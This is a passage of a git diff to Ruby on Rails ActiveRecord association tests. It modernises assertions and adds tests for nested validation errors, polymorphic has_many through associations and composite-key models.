+    constraint = comments[:post_id].eq(posts[:id])
+    arel_join = comments.create_join(comments, comments.create_on(constraint), Arel::Nodes::OuterJoin)
+
+    assert_equal 17, Author.left_outer_joins(:posts).joins(arel_join).count
+  end
+
   def test_join_conditions_added_to_join_clause
     queries = capture_sql { Author.left_outer_joins(:essays).to_a }
-    assert queries.any? { |sql| /writer_type.*?=.*?(Author|\?|\$1|\:a1)/i.match?(sql) }
+    assert queries.any? { |sql| /writer_type.*?=.*?(Author|\?|\$1|:a1)/i.match?(sql) }
     assert queries.none? { |sql| /WHERE/i.match?(sql) }
   end
 
@@ -67,15 +105,15 @@ def test_find_with_sti_join
     scope = Post.left_outer_joins(:special_comments).where(id: posts(:sti_comments).id)
 
     # The join should match SpecialComment and its subclasses only
-    assert scope.where("comments.type" => "Comment").empty?
-    assert !scope.where("comments.type" => "SpecialComment").empty?
-    assert !scope.where("comments.type" => "SubSpecialComment").empty?
+    assert_empty scope.where("comments.type" => "Comment")
+    assert_not_empty scope.where("comments.type" => "SpecialComment")
+    assert_not_empty scope.where("comments.type" => "SubSpecialComment")
   end
 
   def test_does_not_override_select
     authors = Author.select("authors.name, #{%{(authors.author_address_id || ' ' || authors.author_address_extra_id) as addr_id}}").left_outer_joins(:posts)
-    assert authors.any?
-    assert authors.first.respond_to?(:addr_id)
+    assert_predicate authors, :any?
+    assert_respond_to authors.first, :addr_id
   end
 
   test "the default scope of the target is applied when joining associations" do
@@ -85,4 +123,11 @@ def test_does_not_override_select
 
     assert_equal [author], Author.where(id: author).left_outer_joins(:special_categorizations)
   end
+
+  def test_left_outer_joins_includes_all_nested_associations
+    sql, = capture_sql { Friendship.left_outer_joins(:friend_favorite_reference_job, :follower_favorite_reference_job).to_a }
+
+    assert_match %r(#{Regexp.escape(quote_table_name("friendships.friend_id"))}), sql
+    assert_match %r(#{Regexp.escape(quote_table_name("friendships.follower_id"))}), sql
+  end
 end
diff --git a/activerecord/test/cases/associations/nested_error_test.rb b/activerecord/test/cases/associations/nested_error_test.rb
new file mode 100644
index 0000000000000..30cf875b2ac03
--- /dev/null
+++ b/activerecord/test/cases/associations/nested_error_test.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/guitar"
+require "models/tuning_peg"
+
+class AssociationsNestedErrorInAssociationOrderTest < ActiveRecord::TestCase
+  test "index in association order" do
+    guitar = Guitar.create!
+    guitar.tuning_pegs.create!(pitch: 1)
+    peg2 = guitar.tuning_pegs.create!(pitch: 2)
+    peg2.pitch = nil
+    guitar.valid?
+
+    error = guitar.errors.objects.first
+
+    assert_equal ActiveRecord::Associations::NestedError, error.class
+    assert_equal peg2.errors.objects.first, error.inner_error
+    assert_equal :'tuning_pegs[1].pitch', error.attribute
+    assert_equal :not_a_number, error.type
+    assert_equal "is not a number", error.message
+    assert_equal guitar, error.base
+  end
+end
+
+class AssociationsNestedErrorInNestedAttributesOrderTest < ActiveRecord::TestCase
+  def setup
+    tuning_peg_class = Class.new(ActiveRecord::Base) do
+      self.table_name = "tuning_pegs"
+      def self.name; "TuningPeg"; end
+
+      validates_numericality_of :pitch
+    end
+
+    @guitar_class = Class.new(ActiveRecord::Base) do
+      has_many :tuning_pegs, index_errors: :nested_attributes_order, anonymous_class: tuning_peg_class
+      accepts_nested_attributes_for :tuning_pegs, reject_if: lambda { |attrs| attrs[:pitch]&.odd? }
+
+      def self.name; "Guitar"; end
+    end
+  end
+
+  test "index in nested attributes order" do
+    guitar = @guitar_class.create!
+    guitar.tuning_pegs.create!(pitch: 1)
+    peg2 = guitar.tuning_pegs.create!(pitch: 2)
+    guitar.update(tuning_pegs_attributes: [{ id: peg2.id, pitch: nil }])
+
+    error = guitar.errors.objects.first
+
+    assert_equal ActiveRecord::Associations::NestedError, error.class
+    assert_equal peg2.errors.objects.first, error.inner_error
+    assert_equal :'tuning_pegs[0].pitch', error.attribute
+    assert_equal :not_a_number, error.type
+    assert_equal "is not a number", error.message
+    assert_equal guitar, error.base
+  end
+
+  test "index unaffected by reject_if" do
+    guitar = @guitar_class.create!
+
+    guitar.update(
+      tuning_pegs_attributes: [
+        { pitch: 1 }, # rejected
+        { pitch: nil },
+      ]
+    )
+
+    error = guitar.errors.objects.first
+
+    assert_equal ActiveRecord::Associations::NestedError, error.class
+    assert_equal :'tuning_pegs[1].pitch', error.attribute
+    assert_equal :not_a_number, error.type
+    assert_equal "is not a number", error.message
+    assert_equal guitar, error.base
+  end
+
+  class AssociationsNestedErrorWithSingularAssociationTest < ActiveRecord::TestCase
+    def setup
+      pet_class = Class.new(ActiveRecord::Base) do
+        self.table_name = "pets"
+        def self.name; "Pet"; end
+
+        validates :name, presence: true
+      end
+
+      @owner_class = Class.new(ActiveRecord::Base) do
+        self.table_name = "owners"
+        def self.name; "Owner"; end
+
+        has_one :pet, anonymous_class: pet_class
+        accepts_nested_attributes_for :pet
+        validates_associated :pet
+      end
+    end
+
+    test "no index when singular association" do
+      old_attribute_config = ActiveRecord.index_nested_attribute_errors
+      ActiveRecord.index_nested_attribute_errors = true
+
+      owner = @owner_class.new(pet_attributes: { name: nil })
+      owner.valid?
+
+      error = owner.errors.objects.first
+
+      assert_equal ActiveRecord::Associations::NestedError, error.class
+      assert_equal owner.pet.errors.objects.first, error.inner_error
+      assert_equal :"pet.name", error.attribute
+      assert_equal :blank, error.type
+      assert_equal "can't be blank", error.message
+      assert_equal owner, error.base
+    ensure
+      ActiveRecord.index_nested_attribute_errors = old_attribute_config
+    end
+  end
+end
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
index dc26f6a383788..9237bf45383a0 100644
--- a/activerecord/test/cases/associations/nested_through_associations_test.rb
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/author"
 require "models/post"
@@ -22,9 +24,14 @@
 require "models/categorization"
 require "models/membership"
 require "models/essay"
+require "models/hotel"
+require "models/department"
+require "models/chef"
+require "models/cake_designer"
+require "models/drink_designer"
 
 class NestedThroughAssociationsTest < ActiveRecord::TestCase
-  fixtures :authors, :books, :posts, :subscriptions, :subscribers, :tags, :taggings,
+  fixtures :authors, :author_addresses, :books, :posts, :subscriptions, :subscribers, :tags, :taggings,
            :people, :readers, :references, :jobs, :ratings, :comments, :members, :member_details,
            :member_types, :sponsors, :clubs, :organizations, :categories, :categories_posts,
            :categorizations, :memberships, :essays
@@ -55,11 +62,22 @@ def test_has_many_through_has_many_with_has_many_through_source_reflection
   end
 
   def test_has_many_through_has_many_with_has_many_through_source_reflection_preload
-    authors = assert_queries(5) { Author.includes(:tags).to_a }
+    author = assert_queries_count(5) { Author.includes(:tags).first }
     general = tags(:general)
 
     assert_no_queries do
-      assert_equal [general, general], authors.first.tags
+      assert_equal [general, general], author.tags
+    end
+
+    # Preloading with automatic scope inversing reduces the number of queries
+    tag_reflection = Tagging.reflect_on_association(:tag)
+    taggings_reflection = Tag.reflect_on_association(:taggings)
+
+    assert tag_reflection.scope
+    assert_not taggings_reflection.scope
+
+    with_automatic_scope_inversing(tag_reflection, taggings_reflection) do
+      assert_queries_count(4) { Author.includes(:tags).first }
     end
   end
 
@@ -71,7 +89,7 @@ def test_has_many_through_has_many_with_has_many_through_source_reflection_prelo
 
     # This ensures that the polymorphism of taggings is being observed correctly
     authors = Author.joins(:tags).where("taggings.taggable_type" => "FakeModel")
-    assert authors.empty?
+    assert_empty authors
   end
 
   # has_many through
@@ -84,9 +102,9 @@ def test_has_many_through_has_many_through_with_has_many_source_reflection
 
   def test_has_many_through_has_many_through_with_has_many_source_reflection_preload
     luke, david = subscribers(:first), subscribers(:second)
-    authors = assert_queries(4) { Author.includes(:subscribers).to_a }
+    author = assert_queries_count(4) { Author.includes(:subscribers).first }
     assert_no_queries do
-      assert_equal [luke, david, david], authors.first.subscribers.sort_by(&:nick)
+      assert_equal [luke, david, david], author.subscribers.sort_by(&:nick)
     end
   end
 
@@ -106,10 +124,10 @@ def test_has_many_through_has_one_with_has_one_through_source_reflection
   end
 
   def test_has_many_through_has_one_with_has_one_through_source_reflection_preload
-    members = assert_queries(4) { Member.includes(:nested_member_types).to_a }
+    member = assert_queries_count(4) { Member.includes(:nested_member_types).first }
     founding = member_types(:founding)
     assert_no_queries do
-      assert_equal [founding], members.first.nested_member_types
+      assert_equal [founding], member.nested_member_types
     end
   end
 
@@ -128,10 +146,10 @@ def test_has_many_through_has_one_through_with_has_one_source_reflection
   end
 
   def test_has_many_through_has_one_through_with_has_one_source_reflection_preload
-    members = assert_queries(4) { Member.includes(:nested_sponsors).to_a }
+    member = assert_queries_count(4) { Member.includes(:nested_sponsors).first }
     mustache = sponsors(:moustache_club_sponsor_for_groucho)
-    assert_no_queries(ignore_none: false) do
-      assert_equal [mustache], members.first.nested_sponsors
+    assert_no_queries do
+      assert_equal [mustache], member.nested_sponsors
     end
   end
 
@@ -153,12 +171,12 @@ def test_has_many_through_has_one_with_has_many_through_source_reflection
   end
 
   def test_has_many_through_has_one_with_has_many_through_source_reflection_preload
-    ActiveRecord::Base.connection.table_alias_length  # preheat cache
-    members = assert_queries(4) { Member.includes(:organization_member_details).to_a.sort_by(&:id) }
+    ActiveRecord::Base.lease_connection.table_alias_length  # preheat cache
+    member = assert_queries_count(4) { Member.includes(:organization_member_details).first }
     groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
 
     assert_no_queries do
-      assert_equal [groucho_details, other_details], members.first.organization_member_details.sort_by(&:id)
+      assert_equal [groucho_details, other_details], member.organization_member_details.sort_by(&:id)
     end
   end
 
@@ -168,9 +186,8 @@ def test_has_many_through_has_one_with_has_many_through_source_reflection_preloa
       [members(:groucho), members(:some_other_guy)], :organization_member_details
     )
 
-    members = Member.joins(:organization_member_details).
-                     where("member_details.id" => 9)
-    assert members.empty?
+    members = Member.joins(:organization_member_details).where("member_details.id" => 9)
+    assert_empty members
   end
 
   # has_many through
@@ -184,13 +201,13 @@ def test_has_many_through_has_one_through_with_has_many_source_reflection
   end
 
   def test_has_many_through_has_one_through_with_has_many_source_reflection_preload
-    members = assert_queries(4) { Member.includes(:organization_member_details_2).to_a.sort_by(&:id) }
+    member = assert_queries_count(4) { Member.includes(:organization_member_details_2).first }
     groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
 
     # postgresql test if randomly executed then executes "SHOW max_identifier_length". Hence
     # the need to ignore certain predefined sqls that deal with system calls.
-    assert_no_queries(ignore_none: false) do
-      assert_equal [groucho_details, other_details], members.first.organization_member_details_2.sort_by(&:id)
+    assert_no_queries do
+      assert_equal [groucho_details, other_details], member.organization_member_details_2.sort_by(&:id)
     end
   end
 
@@ -200,9 +217,8 @@ def test_has_many_through_has_one_through_with_has_many_source_reflection_preloa
       [members(:groucho), members(:some_other_guy)], :organization_member_details_2
     )
 
-    members = Member.joins(:organization_member_details_2).
-                     where("member_details.id" => 9)
-    assert members.empty?
+    members = Member.joins(:organization_member_details_2).where("member_details.id" => 9)
+    assert_empty members
   end
 
   # has_many through
@@ -215,11 +231,11 @@ def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflectio
   end
 
   def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload
-    authors = assert_queries(4) { Author.includes(:post_categories).to_a.sort_by(&:id) }
+    author = assert_queries_count(4) { Author.includes(:post_categories).third }
     general, cooking = categories(:general), categories(:cooking)
 
     assert_no_queries do
-      assert_equal [general, cooking], authors[2].post_categories.sort_by(&:id)
+      assert_equal [general, cooking], author.post_categories.sort_by(&:id)
     end
   end
 
@@ -244,11 +260,11 @@ def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflectio
 
   def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload
     Category.includes(:post_comments).to_a # preheat cache
-    categories = assert_queries(4) { Category.includes(:post_comments).to_a.sort_by(&:id) }
+    category = assert_queries_count(4) { Category.includes(:post_comments).second }
     greetings, more = comments(:greetings), comments(:more_greetings)
 
     assert_no_queries do
-      assert_equal [greetings, more], categories[1].post_comments.sort_by(&:id)
+      assert_equal [greetings, more], category.post_comments.sort_by(&:id)
     end
   end
 
@@ -272,11 +288,11 @@ def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection
   end
 
   def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload
-    authors = assert_queries(6) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
+    author = assert_queries_count(6) { Author.includes(:category_post_comments).third }
     greetings, more = comments(:greetings), comments(:more_greetings)
 
     assert_no_queries do
-      assert_equal [greetings, more], authors[2].category_post_comments.sort_by(&:id)
+      assert_equal [greetings, more], author.category_post_comments.sort_by(&:id)
     end
   end
 
@@ -298,11 +314,22 @@ def test_has_many_through_has_many_through_with_belongs_to_source_reflection
   end
 
   def test_has_many_through_has_many_through_with_belongs_to_source_reflection_preload
-    authors = assert_queries(5) { Author.includes(:tagging_tags).to_a }
+    author = assert_queries_count(5) { Author.includes(:tagging_tags).first }
     general = tags(:general)
 
     assert_no_queries do
-      assert_equal [general, general], authors.first.tagging_tags
+      assert_equal [general, general], author.tagging_tags
+    end
+
+    # Preloading with automatic scope inversing reduces the number of queries
+    tag_reflection = Tagging.reflect_on_association(:tag)
+    taggings_reflection = Tag.reflect_on_association(:taggings)
+
+    assert tag_reflection.scope
+    assert_not taggings_reflection.scope
+
+    with_automatic_scope_inversing(tag_reflection, taggings_reflection) do
+      assert_queries_count(4) { Author.includes(:tagging_tags).first }
     end
   end
 
@@ -324,11 +351,11 @@ def test_has_many_through_belongs_to_with_has_many_through_source_reflection
   end
 
   def test_has_many_through_belongs_to_with_has_many_through_source_reflection_preload
-    categorizations = assert_queries(4) { Categorization.includes(:post_taggings).to_a.sort_by(&:id) }
+    categorization = assert_queries_count(4) { Categorization.includes(:post_taggings).first }
     welcome_general, thinking_general = taggings(:welcome_general), taggings(:thinking_general)
 
     assert_no_queries do
-      assert_equal [welcome_general, thinking_general], categorizations.first.post_taggings.sort_by(&:id)
+      assert_equal [welcome_general, thinking_general], categorization.post_taggings.sort_by(&:id)
     end
   end
 
@@ -347,11 +374,11 @@ def test_has_one_through_has_one_with_has_one_through_source_reflection
   end
 
   def test_has_one_through_has_one_with_has_one_through_source_reflection_preload
-    members = assert_queries(4) { Member.includes(:nested_member_type).to_a.sort_by(&:id) }
+    member = assert_queries_count(4) { Member.includes(:nested_member_type).first }
     founding = member_types(:founding)
 
     assert_no_queries do
-      assert_equal founding, members.first.nested_member_type
+      assert_equal founding, member.nested_member_type
     end
   end
 
@@ -373,7 +400,7 @@ def test_joins_and_includes_from_through_models_not_included_in_association
     prev_default_scope = Club.default_scopes
 
     [:includes, :preload, :joins, :eager_load].each do |q|
-      Club.default_scopes = [proc { Club.send(q, :category) }]
+      Club.default_scopes = [ActiveRecord::Scoping::DefaultScope.new(proc { Club.public_send(q, :category) })]
       assert_equal categories(:general), members(:groucho).reload.club_category
     end
   ensure
@@ -381,11 +408,11 @@ def test_joins_and_includes_from_through_models_not_included_in_association
   end
 
   def test_has_one_through_has_one_through_with_belongs_to_source_reflection_preload
-    members = assert_queries(4) { Member.includes(:club_category).to_a.sort_by(&:id) }
+    member = assert_queries_count(4) { Member.includes(:club_category).first }
     general = categories(:general)
 
     assert_no_queries do
-      assert_equal general, members.first.club_category
+      assert_equal general, member.club_category
     end
   end
 
@@ -418,9 +445,14 @@ def test_nested_has_many_through_with_a_table_referenced_multiple_times
 
     # Check the polymorphism of taggings is being observed correctly (in both joins)
     authors = Author.joins(:similar_posts).where("taggings.taggable_type" => "FakeModel")
-    assert authors.empty?
+    assert_empty authors
     authors = Author.joins(:similar_posts).where("taggings_authors_join.taggable_type" => "FakeModel")
-    assert authors.empty?
+    assert_empty authors
+  end
+
+  def test_nested_has_many_through_with_scope_on_polymorphic_reflection
+    authors = Author.joins(:ordered_posts).where("posts.id" => posts(:misc_by_bob).id)
+    assert_equal [authors(:mary), authors(:bob)], authors.distinct.sort_by(&:id)
   end
 
   def test_has_many_through_with_foreign_key_option_on_through_reflection
@@ -444,9 +476,9 @@ def test_has_many_through_with_sti_on_through_reflection
 
     # Ensure STI is respected in the join
     scope = Post.joins(:special_comments_ratings).where(id: posts(:sti_comments).id)
-    assert scope.where("comments.type" => "Comment").empty?
-    assert !scope.where("comments.type" => "SpecialComment").empty?
-    assert !scope.where("comments.type" => "SubSpecialComment").empty?
+    assert_empty scope.where("comments.type" => "Comment")
+    assert_not_empty scope.where("comments.type" => "SpecialComment")
+    assert_not_empty scope.where("comments.type" => "SubSpecialComment")
   end
 
   def test_has_many_through_with_sti_on_nested_through_reflection
@@ -454,8 +486,8 @@ def test_has_many_through_with_sti_on_nested_through_reflection
     assert_equal [taggings(:special_comment_rating)], taggings
 
     scope = Post.joins(:special_comments_ratings_taggings).where(id: posts(:sti_comments).id)
-    assert scope.where("comments.type" => "Comment").empty?
-    assert !scope.where("comments.type" => "SpecialComment").empty?
+    assert_empty scope.where("comments.type" => "Comment")
+    assert_not_empty scope.where("comments.type" => "SpecialComment")
   end
 
   def test_nested_has_many_through_writers_should_raise_error
@@ -505,13 +537,13 @@ def test_nested_has_many_through_with_conditions_on_through_associations
   end
 
   def test_nested_has_many_through_with_conditions_on_through_associations_preload
-    assert Author.where("tags.id" => 100).joins(:misc_post_first_blue_tags).empty?
+    assert_empty Author.where("tags.id" => 100).joins(:misc_post_first_blue_tags)
 
-    authors = assert_queries(3) { Author.includes(:misc_post_first_blue_tags).to_a.sort_by(&:id) }
+    author = assert_queries_count(2) { Author.includes(:misc_post_first_blue_tags).third }
     blue = tags(:blue)
 
     assert_no_queries do
-      assert_equal [blue], authors[2].misc_post_first_blue_tags
+      assert_equal [blue], author.misc_post_first_blue_tags
     end
   end
 
@@ -528,11 +560,20 @@ def test_nested_has_many_through_with_conditions_on_source_associations
   end
 
   def test_nested_has_many_through_with_conditions_on_source_associations_preload
-    authors = assert_queries(4) { Author.includes(:misc_post_first_blue_tags_2).to_a.sort_by(&:id) }
+    author = assert_queries_count(2) { Author.includes(:misc_post_first_blue_tags_2).third }
+    blue = tags(:blue)
+
+    assert_no_queries do
+      assert_equal [blue], author.misc_post_first_blue_tags_2
+    end
+  end
+
+  def test_through_association_preload_doesnt_reset_source_association_if_already_preloaded
     blue = tags(:blue)
+    author = Author.preload(posts: :first_blue_tags_2, misc_post_first_blue_tags_2: {}).third
 
     assert_no_queries do
-      assert_equal [blue], authors[2].misc_post_first_blue_tags_2
+      assert_equal [blue], author.posts.first.first_blue_tags_2
     end
   end
 
@@ -562,18 +603,69 @@ def test_nested_has_many_through_should_not_be_autosaved
     c = Categorization.new
     c.author = authors(:david)
     c.post_taggings.to_a
-    assert !c.post_taggings.empty?
+    assert_not_empty c.post_taggings
     c.save
-    assert !c.post_taggings.empty?
+    assert_not_empty c.post_taggings
   end
 
-  private
+  def test_polymorphic_has_many_through_when_through_association_has_not_loaded
+    cake_designer = CakeDesigner.create!(chef: Chef.new)
+    drink_designer = DrinkDesigner.create!(chef: Chef.new)
+    department = Department.create!(chefs: [cake_designer.chef, drink_designer.chef])
+    Hotel.create!(departments: [department])
+    hotel = Hotel.includes(:cake_designers, :drink_designers).take
+
+    assert_equal [cake_designer], hotel.cake_designers
+    assert_equal [drink_designer], hotel.drink_designers
+  end
+
+  def test_polymorphic_has_many_through_when_through_association_has_already_loaded
+    cake_designer = CakeDesigner.create!(chef: Chef.new)
+    drink_designer = DrinkDesigner.create!(chef: Chef.new)
+    department = Department.create!(chefs: [cake_designer.chef, drink_designer.chef])
+    Hotel.create!(departments: [department])
+    hotel = Hotel.includes(:chefs, :cake_designers, :drink_designers).take
+
+    assert_equal [cake_designer], hotel.cake_designers
+    assert_equal [drink_designer], hotel.drink_designers
+  end
+
+  def test_polymorphic_has_many_through_joined_different_table_twice
+    cake_designer = CakeDesigner.create!(chef: Chef.new)
+    drink_designer = DrinkDesigner.create!(chef: Chef.new)
+    department = Department.create!(chefs: [cake_designer.chef, drink_designer.chef])
+    hotel = Hotel.create!(departments: [department])
+
+    assert_equal hotel, Hotel.joins(:cake_designers, :drink_designers).take
+  end
+
+  def test_has_many_through_polymorphic_with_scope
+    Post.delete_all
 
+    post = Post.create!(title: "Catchy Title", body: "Interesting body.")
+    category = Category.create!(name: "Anything")
+    Post::CategoryPost.create!(post: post, category: category)
+
+    author = authors(:bob)
+    Essay.create!(writer: author, category: category)
+
+    assert_equal 1, Post.joins(:authors_of_essays_named_bob).count
+  end
+
+  def test_has_many_through_reset_source_reflection_after_loading_is_complete
+    preloaded = Category.preload(:ordered_post_comments).find(1, 2).last
+    original = Category.find(2)
+    assert_equal original.ordered_post_comments.ids, preloaded.ordered_post_comments.ids
+  end
+
+  private
     def assert_includes_and_joins_equal(query, expected, association)
-      actual = assert_queries(1) { query.joins(association).to_a.uniq }
+      query = query.order(:id)
+
+      actual = assert_queries_count(1) { query.joins(association).to_a.uniq }
       assert_equal expected, actual
 
-      actual = assert_queries(1) { query.includes(association).to_a.uniq }
+      actual = assert_queries_count(1) { query.includes(association).to_a.uniq }
       assert_equal expected, actual
     end
 end
diff --git a/activerecord/test/cases/associations/required_test.rb b/activerecord/test/cases/associations/required_test.rb
index f8b686721e736..07bda74978394 100644
--- a/activerecord/test/cases/associations/required_test.rb
+++ b/activerecord/test/cases/associations/required_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class RequiredAssociationsTest < ActiveRecord::TestCase
@@ -10,7 +12,7 @@ class Child < ActiveRecord::Base
   end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table :parents, force: true
     @connection.create_table :children, force: true do |t|
       t.belongs_to :parent
@@ -22,7 +24,10 @@ class Child < ActiveRecord::Base
     @connection.drop_table "children", if_exists: true
   end
 
-  test "belongs_to associations are not required by default" do
+  test "belongs_to associations can be optional by default" do
+    original_value = ActiveRecord::Base.belongs_to_required_by_default
+    ActiveRecord::Base.belongs_to_required_by_default = false
+
     model = subclass_of(Child) do
       belongs_to :parent, inverse_of: false,
         class_name: "RequiredAssociationsTest::Parent"
@@ -30,6 +35,8 @@ class Child < ActiveRecord::Base
 
     assert model.new.save
     assert model.new(parent: Parent.new).save
+  ensure
+    ActiveRecord::Base.belongs_to_required_by_default = original_value
   end
 
   test "required belongs_to associations have presence validated" do
@@ -46,6 +53,25 @@ class Child < ActiveRecord::Base
     assert record.save
   end
 
+  test "belongs_to associations can be required by default" do
+    original_value = ActiveRecord::Base.belongs_to_required_by_default
+    ActiveRecord::Base.belongs_to_required_by_default = true
+
+    model = subclass_of(Child) do
+      belongs_to :parent, inverse_of: false,
+        class_name: "RequiredAssociationsTest::Parent"
+    end
+
+    record = model.new
+    assert_not record.save
+    assert_equal ["Parent must exist"], record.errors.full_messages
+
+    record.parent = Parent.new
+    assert record.save
+  ensure
+    ActiveRecord::Base.belongs_to_required_by_default = original_value
+  end
+
   test "has_one associations are not required by default" do
     model = subclass_of(Parent) do
       has_one :child, inverse_of: false,
@@ -91,7 +117,6 @@ class Child < ActiveRecord::Base
   end
 
   private
-
     def subclass_of(klass, &block)
       subclass = Class.new(klass, &block)
       def subclass.name
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
index a223b4338fdba..43d1ee06b35e2 100644
--- a/activerecord/test/cases/associations_test.rb
+++ b/activerecord/test/cases/associations_test.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "pp"
 require "cases/helper"
 require "models/computer"
 require "models/developer"
@@ -7,6 +10,7 @@
 require "models/category"
 require "models/post"
 require "models/author"
+require "models/book"
 require "models/comment"
 require "models/tag"
 require "models/tagging"
@@ -17,12 +21,33 @@
 require "models/liquid"
 require "models/molecule"
 require "models/electron"
-require "models/man"
+require "models/human"
 require "models/interest"
+require "models/pirate"
+require "models/parrot"
+require "models/bird"
+require "models/treasure"
+require "models/price_estimate"
+require "models/invoice"
+require "models/discount"
+require "models/line_item"
+require "models/shipping_line"
+require "models/essay"
+require "models/member"
+require "models/membership"
+require "models/sharded"
+require "models/cpk"
+require "models/member_detail"
+require "models/organization"
+require "models/dog"
+require "models/other_dog"
+
 
 class AssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :developers, :projects, :developers_projects,
-           :computers, :people, :readers, :authors, :author_favorites
+           :computers, :people, :readers, :authors, :author_addresses, :author_favorites,
+           :comments, :posts, :sharded_blogs, :sharded_blog_posts, :sharded_comments, :sharded_tags, :sharded_blog_posts_tags,
+           :cpk_orders, :cpk_books, :cpk_reviews
 
   def test_eager_loading_should_not_change_count_of_children
     liquid = Liquid.create(name: "salty")
@@ -34,6 +59,10 @@ def test_eager_loading_should_not_change_count_of_children
     assert_equal 1, liquids[0].molecules.length
   end
 
+  def test_allocated_record_can_see_assocations
+    assert_not_nil Ship.allocate.association(:parts)
+  end
+
   def test_subselect
     author = authors :david
     favs = author.author_favorites
@@ -45,7 +74,7 @@ def test_loading_the_association_target_should_keep_child_records_marked_for_des
     ship = Ship.create!(name: "The good ship Dollypop")
     part = ship.parts.create!(name: "Mast")
     part.mark_for_destruction
-    assert ship.parts[0].marked_for_destruction?
+    assert_predicate ship.parts[0], :marked_for_destruction?
   end
 
   def test_loading_the_association_target_should_load_most_recent_attributes_for_child_records_marked_for_destruction
@@ -56,6 +85,16 @@ def test_loading_the_association_target_should_load_most_recent_attributes_for_c
     assert_equal "Deck", ship.parts[0].name
   end
 
+  def test_loading_cpk_association_when_persisted_and_in_memory_differ
+    order = Cpk::Order.create!(id: [1, 2], status: "paid")
+    book = order.books.create!(id: [3, 4], title: "Book")
+
+    Cpk::Book.find(book.id).update_columns(title: "A different title")
+    order.books.load
+
+    assert_equal [3, 4], book.id
+  end
+
   def test_include_with_order_works
     assert_nothing_raised { Account.all.merge!(order: "id", includes: :firm).first }
     assert_nothing_raised { Account.all.merge!(order: :id, includes: :firm).first }
@@ -78,19 +117,19 @@ def test_should_construct_new_finder_sql_after_create
   def test_force_reload
     firm = Firm.new("name" => "A New Firm, Inc")
     firm.save
-    firm.clients.each {} # forcing to load all clients
-    assert firm.clients.empty?, "New firm shouldn't have client objects"
+    firm.clients.each { } # forcing to load all clients
+    assert_predicate firm.clients, :empty?, "New firm shouldn't have client objects"
     assert_equal 0, firm.clients.size, "New firm should have 0 clients"
 
     client = Client.new("name" => "TheClient.com", "firm_id" => firm.id)
     client.save
 
-    assert firm.clients.empty?, "New firm should have cached no client objects"
+    assert_predicate firm.clients, :empty?, "New firm should have cached no client objects"
     assert_equal 0, firm.clients.size, "New firm should have cached 0 clients count"
 
     firm.clients.reload
 
-    assert !firm.clients.empty?, "New firm should have reloaded client objects"
+    assert_not firm.clients.empty?, "New firm should have reloaded client objects"
     assert_equal 1, firm.clients.size, "New firm should have reloaded clients count"
   end
 
@@ -100,24 +139,364 @@ def test_using_limitable_reflections_helper
     has_many_reflections = [Tag.reflect_on_association(:taggings), Developer.reflect_on_association(:projects)]
     mixed_reflections = (belongs_to_reflections + has_many_reflections).uniq
     assert using_limitable_reflections.call(belongs_to_reflections), "Belong to associations are limitable"
-    assert !using_limitable_reflections.call(has_many_reflections), "All has many style associations are not limitable"
-    assert !using_limitable_reflections.call(mixed_reflections), "No collection associations (has many style) should pass"
+    assert_not using_limitable_reflections.call(has_many_reflections), "All has many style associations are not limitable"
+    assert_not using_limitable_reflections.call(mixed_reflections), "No collection associations (has many style) should pass"
   end
 
   def test_association_with_references
     firm = companies(:first_firm)
-    assert_includes firm.association_with_references.references_values, "foo"
+    assert_equal [:foo], firm.association_with_references.references_values
+  end
+
+  def test_belongs_to_a_model_with_composite_foreign_key_finds_associated_record
+    comment = sharded_comments(:great_comment_blog_post_one)
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+
+    assert_equal(blog_post, comment.blog_post)
+  end
+
+  def test_belongs_to_a_cpk_model_by_id_attribute
+    order = cpk_orders(:cpk_groceries_order_1)
+    _order_shop_id, order_id = order.id
+    agreement = Cpk::OrderAgreement.create(order_id: order_id, signature: "signed")
+
+    assert_equal(order, agreement.order)
+  end
+
+  def test_belongs_to_a_model_with_composite_primary_key_uses_composite_pk_in_sql
+    comment = sharded_comments(:great_comment_blog_post_one)
+
+    sql = capture_sql do
+      comment.blog_post
+    end.first
+
+    assert_match(/#{Regexp.escape(quote_table_name("sharded_blog_posts.blog_id"))} =/, sql)
+    assert_match(/#{Regexp.escape(quote_table_name("sharded_blog_posts.id"))} =/, sql)
+  end
+
+  def test_querying_by_whole_associated_records_using_query_constraints
+    comments = [sharded_comments(:great_comment_blog_post_one), sharded_comments(:great_comment_blog_post_two)]
+
+    blog_posts = Sharded::BlogPost.where(comments: comments).to_a
+
+    expected_posts = [sharded_blog_posts(:great_post_blog_one), sharded_blog_posts(:great_post_blog_two)]
+    assert_equal(expected_posts.map(&:id).sort, blog_posts.map(&:id).sort)
+  end
+
+  def test_querying_by_single_associated_record_works_using_query_constraints
+    comments = [sharded_comments(:great_comment_blog_post_one), sharded_comments(:great_comment_blog_post_two)]
+
+    blog_posts = Sharded::BlogPost.where(comments: comments.last).to_a
+
+    expected_posts = [sharded_blog_posts(:great_post_blog_two)]
+    assert_equal(expected_posts.map(&:id).sort, blog_posts.map(&:id).sort)
+  end
+
+  def test_querying_by_relation_with_composite_key
+    expected_posts = [sharded_blog_posts(:great_post_blog_one), sharded_blog_posts(:great_post_blog_two)]
+
+    blog_posts = Sharded::BlogPost.where(comments: Sharded::Comment.where(body: "I really enjoyed the post!")).to_a
+
+    assert_equal(expected_posts.map(&:id).sort, blog_posts.map(&:id).sort)
